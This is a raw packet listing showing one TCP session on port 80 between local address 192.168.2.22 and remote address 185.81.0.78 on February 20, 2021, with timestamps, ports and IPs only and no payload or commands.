Feb 20, 2021 09:48:08.657699108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657707930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657728910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657746077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657747984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657764912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657771111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657790899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657793999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657804966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657823086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657833099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657849073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657911062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657922983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657932043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657943010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657962084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657967091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657987118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657999992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658015013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658023119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658047915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658056021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658063889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658076048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658102989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658104897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658114910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658123970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658154964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658188105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658194065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658216000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658216953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658225060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658229113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658238888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658255100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658266068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658268929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658291101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658305883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658324003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658329010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658359051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658370018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658385038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658397913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658420086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658438921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658462048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658479929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658490896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658499002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658529043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658540010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658548117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658561945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658574104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658596039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658601046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658610106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658631086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658642054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658668995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658668995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658694983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658706903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658726931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658737898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658745050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658762932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658762932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658781052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658782005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658798933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658813000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658817053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658848047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658850908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658866882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658886909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658894062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658902884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658936977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.658937931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658976078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.658996105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659028053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659034967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659050941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659068108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659085035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659091949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659127951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659128904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659156084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659168005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659188986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659190893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659224987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659229040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659255028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659265995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659276962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659288883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659303904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659307003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659334898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659343004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659367085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659372091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659398079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659403086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659421921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659439087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659454107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659454107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659477949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659492016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659521103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659527063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659548044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659567118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659578085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659579992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659611940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659622908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659636974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659645081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659667015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659678936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659698009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659701109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659732103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659734964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659770012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659780979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659789085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659812927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659815073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659821987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659837008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659859896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659857035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659871101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659889936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659893036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659920931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659928083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659944057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659959078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.659977913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.659985065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660012960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660017967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660052061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660064936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660103083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660108089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660123110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660142899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660147905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660154104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660192966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660200119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660222054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660252094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660275936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660280943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660301924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660319090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660331964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660343885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660351038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660376072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660382986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660409927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660413027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660420895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660440922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660458088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660459042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660475016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660487890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660490990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660505056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660526991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660528898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660538912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660546064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660557032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660584927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660588026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660609007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660625935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660626888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660641909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660654068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660655975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660670042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660696983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660697937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660717010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660722017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660738945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660742998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660753012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660770893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660783052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660789967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660808086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660819054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660824060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660851955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660859108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660870075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660895109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660904884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660906076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660928011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660943985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660957098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660963058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.660974979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.660995007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661000967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661016941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661017895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661022902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661043882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661061049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661062956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661082983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661083937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661098003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661101103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661122084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661130905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661132097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661148071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661173105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661175013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661189079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661190987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661205053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661216974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661231041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661242008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661256075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661267042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661288977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661295891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661298990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661315918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661330938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661340952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661356926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661367893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661367893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661416054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661427021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661482096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661484957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661499977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661525965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661533117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661541939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661542892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661557913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661573887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661578894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661592960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661619902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661618948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661633015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661643982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661655903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661662102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661680937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661691904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661696911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661709070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661735058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661735058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661748886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661755085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661775112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661782026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661792040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661818027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661824942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661853075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661865950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661870956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661891937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661900043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661905050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661937952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661941051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661971092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.661981106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.661995888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662008047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662018061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662033081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662036896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662046909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662074089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662075043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662092924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662110090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662117004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662128925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662138939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662143946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662167072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662174940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662187099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662214041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662219048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662230015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662242889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662255049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662260056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662272930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662286997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662287951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662305117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662328005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662332058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662343979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662348032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662354946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662370920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.662372112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.662412882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678359032 CET	80	49165	185.81.0.78	192.168.2.22
